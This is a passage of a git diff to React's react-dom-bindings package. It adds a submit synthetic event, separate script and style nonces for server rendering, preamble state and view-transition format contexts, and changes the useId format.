+++ b/packages/react-dom-bindings/src/events/plugins/SelectEventPlugin.js
@@ -80,8 +80,8 @@ function getEventTargetDocument(eventTarget: any) {
   return eventTarget.window === eventTarget
     ? eventTarget.document
     : eventTarget.nodeType === DOCUMENT_NODE
-    ? eventTarget
-    : eventTarget.ownerDocument;
+      ? eventTarget
+      : eventTarget.ownerDocument;
 }
 
 /**
diff --git a/packages/react-dom-bindings/src/events/plugins/SimpleEventPlugin.js b/packages/react-dom-bindings/src/events/plugins/SimpleEventPlugin.js
index 8c983b3f5dfc..4873dacdbf43 100644
--- a/packages/react-dom-bindings/src/events/plugins/SimpleEventPlugin.js
+++ b/packages/react-dom-bindings/src/events/plugins/SimpleEventPlugin.js
@@ -27,6 +27,7 @@ import {
   SyntheticWheelEvent,
   SyntheticClipboardEvent,
   SyntheticPointerEvent,
+  SyntheticSubmitEvent,
   SyntheticToggleEvent,
 } from '../../events/SyntheticEvent';
 
@@ -162,6 +163,9 @@ function extractEvents(
     case 'pointerup':
       SyntheticEventCtor = SyntheticPointerEvent;
       break;
+    case 'submit':
+      SyntheticEventCtor = SyntheticSubmitEvent;
+      break;
     case 'toggle':
     case 'beforetoggle':
       // MDN claims <details> should not receive ToggleEvent contradicting the spec: https://html.spec.whatwg.org/multipage/indices.html#event-toggle
diff --git a/packages/react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js b/packages/react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js
index 3303c07cfb4f..49c555f43f81 100644
--- a/packages/react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js
+++ b/packages/react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js
@@ -79,7 +79,11 @@ function preconnect(href: string, crossOrigin?: ?CrossOriginEnum) {
   }
 }
 
-function preload(href: string, as: string, options?: ?PreloadImplOptions) {
+export function preload(
+  href: string,
+  as: string,
+  options?: ?PreloadImplOptions,
+) {
   if (typeof href === 'string') {
     const request = resolveRequest();
     if (request) {
@@ -112,7 +116,10 @@ function preload(href: string, as: string, options?: ?PreloadImplOptions) {
   }
 }
 
-function preloadModule(href: string, options?: ?PreloadModuleImplOptions) {
+export function preloadModule(
+  href: string,
+  options?: ?PreloadModuleImplOptions,
+): void {
   if (typeof href === 'string') {
     const request = resolveRequest();
     if (request) {
@@ -238,6 +245,7 @@ function trimOptions<
   let hasProperties = false;
   const trimmed: T = ({}: any);
   for (const key in options) {
+    // $FlowFixMe[invalid-computed-prop]
     if (options[key] != null) {
       hasProperties = true;
       (trimmed: any)[key] = options[key];
diff --git a/packages/react-dom-bindings/src/server/ReactDOMLegacyServerStreamConfig.js b/packages/react-dom-bindings/src/server/ReactDOMLegacyServerStreamConfig.js
index 4b940731b99b..54c576856869 100644
--- a/packages/react-dom-bindings/src/server/ReactDOMLegacyServerStreamConfig.js
+++ b/packages/react-dom-bindings/src/server/ReactDOMLegacyServerStreamConfig.js
@@ -66,9 +66,9 @@ export function typedArrayToBinaryChunk(
   throw new Error('Not implemented.');
 }
 
-export function byteLengthOfChunk(chunk: Chunk | PrecomputedChunk): number {
-  throw new Error('Not implemented.');
-}
+export const byteLengthOfChunk:
+  | null
+  | ((chunk: Chunk | PrecomputedChunk) => number) = null;
 
 export function byteLengthOfBinaryChunk(chunk: BinaryChunk): number {
   throw new Error('Not implemented.');
@@ -80,3 +80,14 @@ export function closeWithError(destination: Destination, error: mixed): void {
 }
 
 export {createFastHashJS as createFastHash} from 'react-server/src/createFastHashJS';
+
+export function readAsDataURL(blob: Blob): Promise<string> {
+  return blob.arrayBuffer().then(arrayBuffer => {
+    const encoded =
+      typeof Buffer === 'function' && typeof Buffer.from === 'function'
+        ? Buffer.from(arrayBuffer).toString('base64')
+        : btoa(String.fromCharCode.apply(String, new Uint8Array(arrayBuffer)));
+    const mimeType = blob.type || 'application/octet-stream';
+    return 'data:' + mimeType + ';base64,' + encoded;
+  });
+}
diff --git a/packages/react-dom-bindings/src/server/ReactDOMServerExternalRuntime.js b/packages/react-dom-bindings/src/server/ReactDOMServerExternalRuntime.js
index b83957595259..8a13babe2b91 100644
--- a/packages/react-dom-bindings/src/server/ReactDOMServerExternalRuntime.js
+++ b/packages/react-dom-bindings/src/server/ReactDOMServerExternalRuntime.js
@@ -7,19 +7,7 @@
 
 // Imports are resolved statically by the closure compiler in release bundles
 // and by rollup in jest unit tests
-import {
-  clientRenderBoundary,
-  completeBoundaryWithStyles,
-  completeBoundary,
-  completeSegment,
-} from './fizz-instruction-set/ReactDOMFizzInstructionSetExternalRuntime';
-
-if (!window.$RC) {
-  // TODO: Eventually remove, we currently need to set these globals for
-  // compatibility with ReactDOMFizzInstructionSet
-  window.$RC = completeBoundary;
-  window.$RM = new Map();
-}
+import './fizz-instruction-set/ReactDOMFizzInstructionSetExternalRuntime';
 
 if (document.body != null) {
   if (document.readyState === 'loading') {
@@ -89,7 +77,7 @@ function handleNode(node_: Node) {
   const node = (node_: HTMLElement);
   const dataset = node.dataset;
   if (dataset['rxi'] != null) {
-    clientRenderBoundary(
+    window['$RX'](
       dataset['bid'],
       dataset['dgst'],
       dataset['msg'],
@@ -99,17 +87,13 @@ function handleNode(node_: Node) {
     node.remove();
   } else if (dataset['rri'] != null) {
     // Convert styles here, since its type is Array<Array<string>>
-    completeBoundaryWithStyles(
-      dataset['bid'],
-      dataset['sid'],
-      JSON.parse(dataset['sty']),
-    );
+    window['$RR'](dataset['bid'], dataset['sid'], JSON.parse(dataset['sty']));
     node.remove();
   } else if (dataset['rci'] != null) {
-    completeBoundary(dataset['bid'], dataset['sid']);
+    window['$RC'](dataset['bid'], dataset['sid']);
     node.remove();
   } else if (dataset['rsi'] != null) {
-    completeSegment(dataset['sid'], dataset['pid']);
+    window['$RS'](dataset['sid'], dataset['pid']);
     node.remove();
   }
 }
diff --git a/packages/react-dom-bindings/src/server/ReactFizzConfigDOM.js b/packages/react-dom-bindings/src/server/ReactFizzConfigDOM.js
index 0c9fc0fc0484..73ce8d3dd29f 100644
--- a/packages/react-dom-bindings/src/server/ReactFizzConfigDOM.js
+++ b/packages/react-dom-bindings/src/server/ReactFizzConfigDOM.js
@@ -7,7 +7,11 @@
  * @flow
  */
 
-import type {ReactNodeList, ReactCustomFormAction} from 'shared/ReactTypes';
+import type {
+  ReactNodeList,
+  ReactCustomFormAction,
+  Thenable,
+} from 'shared/ReactTypes';
 import type {
   CrossOriginEnum,
   PreloadImplOptions,
@@ -28,8 +32,10 @@ import {
 import {Children} from 'react';
 
 import {
-  enableFilterEmptyStringAttributesDOM,
   enableFizzExternalRuntime,
+  enableSrcObject,
+  enableFizzBlockingRender,
+  enableViewTransition,
 } from 'shared/ReactFeatureFlags';
 
 import type {
@@ -45,6 +51,7 @@ import {
   writeChunkAndReturn,
   stringToChunk,
   stringToPrecomputedChunk,
+  readAsDataURL,
 } from 'react-server/src/ReactServerStreamConfig';
 import {
   resolveRequest,
@@ -73,9 +80,11 @@ import isArray from 'shared/isArray';
 import {
   clientRenderBoundary as clientRenderFunction,
   completeBoundary as completeBoundaryFunction,
+  completeBoundaryUpgradeToViewTransitions as upgradeToViewTransitionsInstruction,
   completeBoundaryWithStyles as styleInsertionFunction,
   completeSegment as completeSegmentFunction,
   formReplaying as formReplayingRuntime,
+  markShellTime,
 } from './fizz-instruction-set/ReactDOMFizzInstructionSetInlineCodeStrings';
 
 import {getValueDescriptorExpectingObjectForWarning} from '../shared/ReactDOMResourceValidation';
@@ -108,17 +117,30 @@ export type HeadersDescriptor = {
 // E.g. this can be used to distinguish legacy renderers from this modern one.
 export const isPrimaryRenderer = true;
 
+export const supportsClientAPIs = true;
+
 export type StreamingFormat = 0 | 1;
 const ScriptStreamingFormat: StreamingFormat = 0;
 const DataStreamingFormat: StreamingFormat = 1;
 
 export type InstructionState = number;
-const NothingSent /*                      */ = 0b00000;
-const SentCompleteSegmentFunction /*      */ = 0b00001;
-const SentCompleteBoundaryFunction /*     */ = 0b00010;
-const SentClientRenderFunction /*         */ = 0b00100;
-const SentStyleInsertionFunction /*       */ = 0b01000;
-const SentFormReplayingRuntime /*         */ = 0b10000;
+const NothingSent /*                      */ = 0b000000000;
+const SentCompleteSegmentFunction /*      */ = 0b000000001;
+const SentCompleteBoundaryFunction /*     */ = 0b000000010;
+const SentClientRenderFunction /*         */ = 0b000000100;
+const SentStyleInsertionFunction /*       */ = 0b000001000;
+const SentFormReplayingRuntime /*         */ = 0b000010000;
+const SentCompletedShellId /*             */ = 0b000100000;
+const SentMarkShellTime /*                */ = 0b001000000;
+const NeedUpgradeToViewTransitions /*     */ = 0b010000000;
+const SentUpgradeToViewTransitions /*     */ = 0b100000000;
+
+type NonceOption =
+  | string
+  | {
+      script?: string,
+      style?: string,
+    };
 
 // Per request, global state that is not contextual to the rendering subtree.
 // This cannot be resumed and therefore should only contain things that are
@@ -132,12 +154,13 @@ export type RenderState = {
   // inline script streaming format, unused if using external runtime / data
   startInlineScript: PrecomputedChunk,
 
+  startInlineStyle: PrecomputedChunk,
+
   // the preamble must always flush before resuming, so all these chunks must
   // be null or empty when resuming.
 
   // preamble chunks
-  htmlChunks: null | Array<Chunk | PrecomputedChunk>,
-  headChunks: null | Array<Chunk | PrecomputedChunk>,
+  preamble: PreambleState,
 
   // external runtime script chunks
   externalRuntimeScript: null | ExternalRuntimeScript,
@@ -195,6 +218,11 @@ export type RenderState = {
     moduleScripts: Map<string, Resource>,
   },
 
+  nonce: {
+    script: string | void,
+    style: string | void,
+  },
+
   // Module-global-like reference for flushing/hoisting state of style resources
   // We need to track whether the current request has flushed any style resources
   // without sending an instruction to hoist them. we do that here
@@ -281,17 +309,21 @@ export type ResumableState = {
   },
 };
 
+let currentlyFlushingRenderState: RenderState | null = null;
+
 const dataElementQuotedEnd = stringToPrecomputedChunk('"></template>');
 
-const startInlineScript = stringToPrecomputedChunk('<script>');
+const startInlineScript = stringToPrecomputedChunk('<script');
 const endInlineScript = stringToPrecomputedChunk('</script>');
 
 const startScriptSrc = stringToPrecomputedChunk('<script src="');
 const startModuleSrc = stringToPrecomputedChunk('<script type="module" src="');
-const scriptNonce = stringToPrecomputedChunk('" nonce="');
-const scriptIntegirty = stringToPrecomputedChunk('" integrity="');
-const scriptCrossOrigin = stringToPrecomputedChunk('" crossorigin="');
-const endAsyncScript = stringToPrecomputedChunk('" async=""></script>');
+const scriptNonce = stringToPrecomputedChunk(' nonce="');
+const scriptIntegirty = stringToPrecomputedChunk(' integrity="');
+const scriptCrossOrigin = stringToPrecomputedChunk(' crossorigin="');
+const endAsyncScript = stringToPrecomputedChunk(' async=""></script>');
+
+const startInlineStyle = stringToPrecomputedChunk('<style');
 
 /**
  * This escaping function is designed to work with with inline scripts where the entire
@@ -351,17 +383,32 @@ if (__DEV__) {
 // is set, the server will send instructions via data attributes (instead of inline scripts)
 export function createRenderState(
   resumableState: ResumableState,
-  nonce: string | void,
+  nonce:
+    | string
+    | {
+        script?: string,
+        style?: string,
+      }
+    | void,
   externalRuntimeConfig: string | BootstrapScriptDescriptor | void,
   importMap: ImportMap | void,
   onHeaders: void | ((headers: HeadersDescriptor) => void),
   maxHeadersLength: void | number,
 ): RenderState {
+  const nonceScript = typeof nonce === 'string' ? nonce : nonce && nonce.script;
   const inlineScriptWithNonce =
-    nonce === undefined
+    nonceScript === undefined
       ? startInlineScript
       : stringToPrecomputedChunk(
-          '<script nonce="' + escapeTextForBrowser(nonce) + '">',
+          '<script nonce="' + escapeTextForBrowser(nonceScript) + '"',
+        );
+  const nonceStyle =
+    typeof nonce === 'string' ? undefined : nonce && nonce.style;
+  const inlineStyleWithNonce =
+    nonceStyle === undefined
+      ? startInlineStyle
+      : stringToPrecomputedChunk(
+          '<style nonce="' + escapeTextForBrowser(nonceStyle) + '"',
         );
   const idPrefix = resumableState.idPrefix;
 
@@ -370,8 +417,10 @@ export function createRenderState(
   const {bootstrapScriptContent, bootstrapScripts, bootstrapModules} =
     resumableState;
   if (bootstrapScriptContent !== undefined) {
+    bootstrapChunks.push(inlineScriptWithNonce);
+    pushCompletedShellIdAttribute(bootstrapChunks, resumableState);
     bootstrapChunks.push(
-      inlineScriptWithNonce,
+      endOfStartTag,
       stringToChunk(escapeEntireInlineScriptContent(bootstrapScriptContent)),
       endInlineScript,
     );
@@ -387,7 +436,7 @@ export function createRenderState(
           src: externalRuntimeConfig,
           async: true,
           integrity: undefined,
-          nonce: nonce,
+          nonce: nonceScript,
         });
       } else {
         externalRuntimeScript = {
@@ -398,7 +447,7 @@ export function createRenderState(
           src: externalRuntimeConfig.src,
           async: true,
           integrity: externalRuntimeConfig.integrity,
-          nonce: nonce,
+          nonce: nonceScript,
         });
       }
     }
@@ -429,9 +478,13 @@ export function createRenderState(
         fontPreloads: '',
         highImagePreloads: '',
         remainingCapacity:
-          typeof maxHeadersLength === 'number'
+          // We seed the remainingCapacity with 2 extra bytes because when we decrement the capacity
+          // we always assume we are inserting an interstitial ", " however the first header does not actually
+          // consume these two extra bytes.
+          2 +
+          (typeof maxHeadersLength === 'number'
             ? maxHeadersLength
-            : DEFAULT_HEADERS_CAPACITY_IN_UTF16_CODE_UNITS,
+            : DEFAULT_HEADERS_CAPACITY_IN_UTF16_CODE_UNITS),
       }
     : null;
   const renderState: RenderState = {
@@ -439,8 +492,8 @@ export function createRenderState(
     segmentPrefix: stringToPrecomputedChunk(idPrefix + 'S:'),
     boundaryPrefix: stringToPrecomputedChunk(idPrefix + 'B:'),
     startInlineScript: inlineScriptWithNonce,
-    htmlChunks: null,
-    headChunks: null,
+    startInlineStyle: inlineStyleWithNonce,
+    preamble: createPreambleState(),
 
     externalRuntimeScript: externalRuntimeScript,
     bootstrapChunks: bootstrapChunks,
@@ -481,7 +534,10 @@ export function createRenderState(
       moduleScripts: new Map(),
     },
 
-    nonce,
+    nonce: {
+      script: nonceScript,
+      style: nonceStyle,
+    },
     // like a module global for currently rendering boundary
     hoistableState: null,
     stylesToHoist: false,
@@ -509,8 +565,8 @@ export function createRenderState(
           typeof scriptConfig === 'string' || scriptConfig.crossOrigin == null
             ? undefined
             : scriptConfig.crossOrigin === 'use-credentials'
-            ? 'use-credentials'
-            : '';
+              ? 'use-credentials'
+              : '';
       }
 
       preloadBootstrapScriptOrModule(resumableState, renderState, src, props);
@@ -518,25 +574,30 @@ export function createRenderState(
       bootstrapChunks.push(
         startScriptSrc,
         stringToChunk(escapeTextForBrowser(src)),
+        attributeEnd,
       );
-      if (nonce) {
+      if (nonceScript) {
         bootstrapChunks.push(
           scriptNonce,
-          stringToChunk(escapeTextForBrowser(nonce)),
+          stringToChunk(escapeTextForBrowser(nonceScript)),
+          attributeEnd,
         );
       }
       if (typeof integrity === 'string') {
         bootstrapChunks.push(
           scriptIntegirty,
           stringToChunk(escapeTextForBrowser(integrity)),
+          attributeEnd,
         );
       }
       if (typeof crossOrigin === 'string') {
         bootstrapChunks.push(
           scriptCrossOrigin,
           stringToChunk(escapeTextForBrowser(crossOrigin)),
+          attributeEnd,
         );
       }
+      pushCompletedShellIdAttribute(bootstrapChunks, resumableState);
       bootstrapChunks.push(endAsyncScript);
     }
   }
@@ -547,7 +608,7 @@ export function createRenderState(
       const props: PreloadModuleProps = ({
         rel: 'modulepreload',
         fetchPriority: 'low',
-        nonce,
+        nonce: nonceScript,
       }: any);
       if (typeof scriptConfig === 'string') {
         props.href = src = scriptConfig;
@@ -561,8 +622,8 @@ export function createRenderState(
           typeof scriptConfig === 'string' || scriptConfig.crossOrigin == null
             ? undefined
             : scriptConfig.crossOrigin === 'use-credentials'
-            ? 'use-credentials'
-            : '';
+              ? 'use-credentials'
+              : '';
       }
 
       preloadBootstrapScriptOrModule(resumableState, renderState, src, props);
@@ -570,26 +631,30 @@ export function createRenderState(
       bootstrapChunks.push(
         startModuleSrc,
         stringToChunk(escapeTextForBrowser(src)),
+        attributeEnd,
       );
-
-      if (nonce) {
+      if (nonceScript) {
         bootstrapChunks.push(
           scriptNonce,
-          stringToChunk(escapeTextForBrowser(nonce)),
+          stringToChunk(escapeTextForBrowser(nonceScript)),
+          attributeEnd,
         );
       }
       if (typeof integrity === 'string') {
         bootstrapChunks.push(
           scriptIntegirty,
           stringToChunk(escapeTextForBrowser(integrity)),
+          attributeEnd,
         );
       }
       if (typeof crossOrigin === 'string') {
         bootstrapChunks.push(
           scriptCrossOrigin,
           stringToChunk(escapeTextForBrowser(crossOrigin)),
+          attributeEnd,
         );
       }
+      pushCompletedShellIdAttribute(bootstrapChunks, resumableState);
       bootstrapChunks.push(endAsyncScript);
     }
   }
@@ -599,7 +664,7 @@ export function createRenderState(
 
 export function resumeRenderState(
   resumableState: ResumableState,
-  nonce: string | void,
+  nonce: NonceOption | void,
 ): RenderState {
   return createRenderState(
     resumableState,
@@ -674,6 +739,7 @@ export function resetResumableState(
   resumableState.scriptResources = {};
   resumableState.moduleUnknownResources = {};
   resumableState.moduleScriptResources = {};
+  resumableState.instructions = NothingSent; // Nothing was flushed so no instructions could've flushed.
 }
 
 export function completeResumableState(resumableState: ResumableState): void {
@@ -683,6 +749,19 @@ export function completeResumableState(resumableState: ResumableState): void {
   resumableState.bootstrapModules = undefined;
 }
 
+export type PreambleState = {
+  htmlChunks: null | Array<Chunk | PrecomputedChunk>,
+  headChunks: null | Array<Chunk | PrecomputedChunk>,
+  bodyChunks: null | Array<Chunk | PrecomputedChunk>,
+};
+export function createPreambleState(): PreambleState {
+  return {
+    htmlChunks: null,
+    headChunks: null,
+    bodyChunks: null,
+  };
+}
+
 // Constants for the insertion mode we're currently writing in. We don't encode all HTML5 insertion
 // modes. We only include the variants as they matter for the sake of our purposes.
 // We don't actually provide the namespace therefore we use constants instead of the string.
@@ -691,48 +770,75 @@ export const ROOT_HTML_MODE = 0; // Used for the root most element tag.
 // still makes sense
 const HTML_HTML_MODE = 1; // Used for the <html> if it is at the top level.
 const HTML_MODE = 2;
-const SVG_MODE = 3;
-const MATHML_MODE = 4;
-const HTML_TABLE_MODE = 5;
-const HTML_TABLE_BODY_MODE = 6;
-const HTML_TABLE_ROW_MODE = 7;
-const HTML_COLGROUP_MODE = 8;
+const HTML_HEAD_MODE = 3;
+const SVG_MODE = 4;
+const MATHML_MODE = 5;
+const HTML_TABLE_MODE = 6;
+const HTML_TABLE_BODY_MODE = 7;
+const HTML_TABLE_ROW_MODE = 8;
+const HTML_COLGROUP_MODE = 9;
 // We have a greater than HTML_TABLE_MODE check elsewhere. If you add more cases here, make sure it
 // still makes sense
 
-type InsertionMode = 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8;
-
-const NO_SCOPE = /*         */ 0b00;
-const NOSCRIPT_SCOPE = /*   */ 0b01;
-const PICTURE_SCOPE = /*    */ 0b10;
+type InsertionMode = 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9;
+
+const NO_SCOPE = /*         */ 0b0000000;
+const NOSCRIPT_SCOPE = /*   */ 0b0000001;
+const PICTURE_SCOPE = /*    */ 0b0000010;
+const FALLBACK_SCOPE = /*   */ 0b0000100;
+const EXIT_SCOPE = /*       */ 0b0001000; // A direct Instance below a Suspense fallback is the only thing that can "exit"
+const ENTER_SCOPE = /*      */ 0b0010000; // A direct Instance below Suspense content is the only thing that can "enter"
+const UPDATE_SCOPE = /*     */ 0b0100000; // Inside a scope that applies "update" ViewTransitions if anything mutates here.
+const APPEARING_SCOPE = /*  */ 0b1000000; // Below Suspense content subtree which might appear in an "enter" animation or "shared" animation.
+
+// Everything not listed here are tracked for the whole subtree as opposed to just
+// until the next Instance.
+const SUBTREE_SCOPE = ~(ENTER_SCOPE | EXIT_SCOPE);
+
+type ViewTransitionContext = {
+  update: 'none' | 'auto' | string,
+  enter: 'none' | 'auto' | string,
+  exit: 'none' | 'auto' | string,
+  share: 'none' | 'auto' | string,
+  name: 'auto' | string,
+  autoName: string, // a name that can be used if an explicit one is not defined.
+  nameIdx: number, // keeps track of how many duplicates of this name we've emitted.
+};
 
 // Lets us keep track of contextual state and pick it back up after suspending.
 export type FormatContext = {
   insertionMode: InsertionMode, // root/svg/html/mathml/table
   selectedValue: null | string | Array<string>, // the selected value(s) inside a <select>, or null outside <select>
   tagScope: number,
+  viewTransition: null | ViewTransitionContext, // tracks if we're inside a ViewTransition outside the first DOM node
 };
 
 function createFormatContext(
   insertionMode: InsertionMode,
-  selectedValue: null | string,
+  selectedValue: null | string | Array<string>,
   tagScope: number,
+  viewTransition: null | ViewTransitionContext,
 ): FormatContext {
   return {
     insertionMode,
     selectedValue,
     tagScope,
+    viewTransition,
   };
 }
 
+export function canHavePreamble(formatContext: FormatContext): boolean {
+  return formatContext.insertionMode < HTML_MODE;
+}
+
 export function createRootFormatContext(namespaceURI?: string): FormatContext {
   const insertionMode =
     namespaceURI === 'http://www.w3.org/2000/svg'
       ? SVG_MODE
       : namespaceURI === 'http://www.w3.org/1998/Math/MathML'
-      ? MATHML_MODE
-      : ROOT_HTML_MODE;
-  return createFormatContext(insertionMode, null, NO_SCOPE);
+        ? MATHML_MODE
+        : ROOT_HTML_MODE;
+  return createFormatContext(insertionMode, null, NO_SCOPE, null);
 }
 
 export function getChildFormatContext(
@@ -740,76 +846,248 @@ export function getChildFormatContext(
   type: string,
   props: Object,
 ): FormatContext {
+  const subtreeScope = parentContext.tagScope & SUBTREE_SCOPE;
   switch (type) {
     case 'noscript':
       return createFormatContext(
         HTML_MODE,
         null,
-        parentContext.tagScope | NOSCRIPT_SCOPE,
+        subtreeScope | NOSCRIPT_SCOPE,
+        null,
       );
     case 'select':
       return createFormatContext(
         HTML_MODE,
         props.value != null ? props.value : props.defaultValue,
-        parentContext.tagScope,
+        subtreeScope,
+        null,
       );
     case 'svg':
-      return createFormatContext(SVG_MODE, null, parentContext.tagScope);
+      return createFormatContext(SVG_MODE, null, subtreeScope, null);
     case 'picture':
       return createFormatContext(
         HTML_MODE,
         null,
-        parentContext.tagScope | PICTURE_SCOPE,
+        subtreeScope | PICTURE_SCOPE,
+        null,
       );
     case 'math':
-      return createFormatContext(MATHML_MODE, null, parentContext.tagScope);
+      return createFormatContext(MATHML_MODE, null, subtreeScope, null);
     case 'foreignObject':
-      return createFormatContext(HTML_MODE, null, parentContext.tagScope);
+      return createFormatContext(HTML_MODE, null, subtreeScope, null);
     // Table parents are special in that their children can only be created at all if they're
     // wrapped in a table parent. So we need to encode that we're entering this mode.
     case 'table':
-      return createFormatContext(HTML_TABLE_MODE, null, parentContext.tagScope);
+      return createFormatContext(HTML_TABLE_MODE, null, subtreeScope, null);
     case 'thead':
     case 'tbody':
     case 'tfoot':
       return createFormatContext(
         HTML_TABLE_BODY_MODE,
         null,
-        parentContext.tagScope,
-      );
-    case 'colgroup':
-      return createFormatContext(
-        HTML_COLGROUP_MODE,
+        subtreeScope,
         null,
-        parentContext.tagScope,
       );
+    case 'colgroup':
+      return createFormatContext(HTML_COLGROUP_MODE, null, subtreeScope, null);
     case 'tr':
-      return createFormatContext(
-        HTML_TABLE_ROW_MODE,
-        null,
-        parentContext.tagScope,
-      );
+      return createFormatContext(HTML_TABLE_ROW_MODE, null, subtreeScope, null);
+    case 'head':
+      if (parentContext.insertionMode < HTML_MODE) {
+        // We are either at the root or inside the <html> tag and can enter
+        // the <head> scope
+        return createFormatContext(HTML_HEAD_MODE, null, subtreeScope, null);
+      }
+      break;
+    case 'html':
+      if (parentContext.insertionMode === ROOT_HTML_MODE) {
+        return createFormatContext(HTML_HTML_MODE, null, subtreeScope, null);
+      }
+      break;
   }
   if (parentContext.insertionMode >= HTML_TABLE_MODE) {
     // Whatever tag this was, it wasn't a table parent or other special parent, so we must have
     // entered plain HTML again.
-    return createFormatContext(HTML_MODE, null, parentContext.tagScope);
+    return createFormatContext(HTML_MODE, null, subtreeScope, null);
   }
-  if (parentContext.insertionMode === ROOT_HTML_MODE) {
-    if (type === 'html') {
-      // We've emitted the root and is now in <html> mode.
-      return createFormatContext(HTML_HTML_MODE, null, parentContext.tagScope);
-    } else {
-      // We've emitted the root and is now in plain HTML mode.
-      return createFormatContext(HTML_MODE, null, parentContext.tagScope);
+  if (parentContext.insertionMode < HTML_MODE) {
+    return createFormatContext(HTML_MODE, null, subtreeScope, null);
+  }
+  if (enableViewTransition) {
+    if (parentContext.viewTransition !== null) {
+      // If we're inside a view transition, regardless what element we were in, it consumes
+      // the view transition context.
+      return createFormatContext(
+        parentContext.insertionMode,
+        parentContext.selectedValue,
+        subtreeScope,
+        null,
+      );
     }
-  } else if (parentContext.insertionMode === HTML_HTML_MODE) {
-    // We've emitted the document element and is now in plain HTML mode.
-    return createFormatContext(HTML_MODE, null, parentContext.tagScope);
+  }
+  if (parentContext.tagScope !== subtreeScope) {
+    return createFormatContext(
+      parentContext.insertionMode,
+      parentContext.selectedValue,
+      subtreeScope,
+      null,
+    );
   }
   return parentContext;
 }
 
+function getSuspenseViewTransition(
+  parentViewTransition: null | ViewTransitionContext,
+): null | ViewTransitionContext {
+  if (parentViewTransition === null) {
+    return null;
+  }
+  // If a ViewTransition wraps a Suspense boundary it applies to the children Instances
+  // in both the fallback and the content.
+  // Since we only have a representation of ViewTransitions on the Instances themselves
+  // we cannot model the parent ViewTransition activating "enter", "exit" or "share"
+  // since those would be ambiguous with the Suspense boundary changing states and
+  // affecting the same Instances.
+  // We also can't model an "update" when that update is fallback nodes swapping for
+  // content nodes. However, we can model is as a "share" from the fallback nodes to
+  // the content nodes using the same name. We just have to assign the same name that
+  // we would've used (the parent ViewTransition name or auto-assign one).
+  const viewTransition: ViewTransitionContext = {
+    update: parentViewTransition.update, // For deep updates.
+    enter: 'none',
+    exit: 'none',
+    share: parentViewTransition.update, // For exit or enter of reveals.
+    name: parentViewTransition.autoName,
+    autoName: parentViewTransition.autoName,
+    // TOOD: If we have more than just this Suspense boundary as a child of the ViewTransition
+    // then the parent needs to isolate the names so that they don't conflict.
+    nameIdx: 0,
+  };
+  return viewTransition;
+}
+
+export function getSuspenseFallbackFormatContext(
+  resumableState: ResumableState,
+  parentContext: FormatContext,
+): FormatContext {
+  if (parentContext.tagScope & UPDATE_SCOPE) {
+    // If we're rendering a Suspense in fallback mode and that is inside a ViewTransition,
+    // which hasn't disabled updates, then revealing it might animate the parent so we need
+    // the ViewTransition instructions.
+    resumableState.instructions |= NeedUpgradeToViewTransitions;
+  }
+  return createFormatContext(
+    parentContext.insertionMode,
+    parentContext.selectedValue,
+    parentContext.tagScope | FALLBACK_SCOPE | EXIT_SCOPE,
+    getSuspenseViewTransition(parentContext.viewTransition),
+  );
+}
+
+export function getSuspenseContentFormatContext(
+  resumableState: ResumableState,
+  parentContext: FormatContext,
+): FormatContext {
+  const viewTransition = getSuspenseViewTransition(
+    parentContext.viewTransition,
+  );
+  let subtreeScope = parentContext.tagScope | ENTER_SCOPE;
+  if (viewTransition !== null && viewTransition.share !== 'none') {
+    // If we have a ViewTransition wrapping Suspense then the appearing animation
+    // will be applied just like an "enter" below. Mark it as animating.
+    subtreeScope |= APPEARING_SCOPE;
+  }
+  return createFormatContext(
+    parentContext.insertionMode,
+    parentContext.selectedValue,
+    subtreeScope,
+    viewTransition,
+  );
+}
+
+export function getViewTransitionFormatContext(
+  resumableState: ResumableState,
+  parentContext: FormatContext,
+  update: ?string,
+  enter: ?string,
+  exit: ?string,
+  share: ?string,
+  name: ?string,
+  autoName: string, // name or an autogenerated unique name
+): FormatContext {
+  // We're entering a <ViewTransition>. Normalize props.
+  if (update == null) {
+    update = 'auto';
+  }
+  if (enter == null) {
+    enter = 'auto';
+  }
+  if (exit == null) {
+    exit = 'auto';
+  }
+  if (name == null) {
+    const parentViewTransition = parentContext.viewTransition;
+    if (parentViewTransition !== null) {
+      // If we have multiple nested ViewTransition and the parent has a "share"
+      // but the child doesn't, then the parent ViewTransition can still activate
+      // a share scenario so we reuse the name and share from the parent.
+      name = parentViewTransition.name;
+      share = parentViewTransition.share;
+    } else {
+      name = 'auto';
+      share = 'none'; // share is only relevant if there's an explicit name
+    }
+  } else {
+    if (share == null) {
+      share = 'auto';
+    }
+    if (parentContext.tagScope & FALLBACK_SCOPE) {
+      // If we have an explicit name and share is not disabled, and we're inside
+      // a fallback, then that fallback might pair with content and so we might need
+      // the ViewTransition instructions to animate between them.
+      resumableState.instructions |= NeedUpgradeToViewTransitions;
+    }
+  }
+  if (!(parentContext.tagScope & EXIT_SCOPE)) {
+    exit = 'none'; // exit is only relevant for the first ViewTransition inside fallback
+  } else {
+    resumableState.instructions |= NeedUpgradeToViewTransitions;
+  }
+  if (!(parentContext.tagScope & ENTER_SCOPE)) {
+    enter = 'none'; // enter is only relevant for the first ViewTransition inside content
+  } else {
+    resumableState.instructions |= NeedUpgradeToViewTransitions;
+  }
+  const viewTransition: ViewTransitionContext = {
+    update,
+    enter,
+    exit,
+    share,
+    name,
+    autoName,
+    nameIdx: 0,
+  };
+  let subtreeScope = parentContext.tagScope & SUBTREE_SCOPE;
+  if (update !== 'none') {
+    subtreeScope |= UPDATE_SCOPE;
+  } else {
+    subtreeScope &= ~UPDATE_SCOPE;
+  }
+  if (enter !== 'none') {
+    subtreeScope |= APPEARING_SCOPE;
+  }
+  return createFormatContext(
+    parentContext.insertionMode,
+    parentContext.selectedValue,
+    subtreeScope,
+    viewTransition,
+  );
+}
+
+export function isPreambleContext(formatContext: FormatContext): boolean {
+  return formatContext.insertionMode === HTML_HEAD_MODE;
+}
+
 export function makeId(
   resumableState: ResumableState,
   treeId: string,
@@ -817,7 +1095,7 @@ export function makeId(
 ): string {
   const idPrefix = resumableState.idPrefix;
 
-  let id = ':' + idPrefix + 'R' + treeId;
+  let id = '_' + idPrefix + 'R_' + treeId;
 
   // Unless this is the first id at this level, append a number at the end
   // that represents the position of this useId hook among all the useId
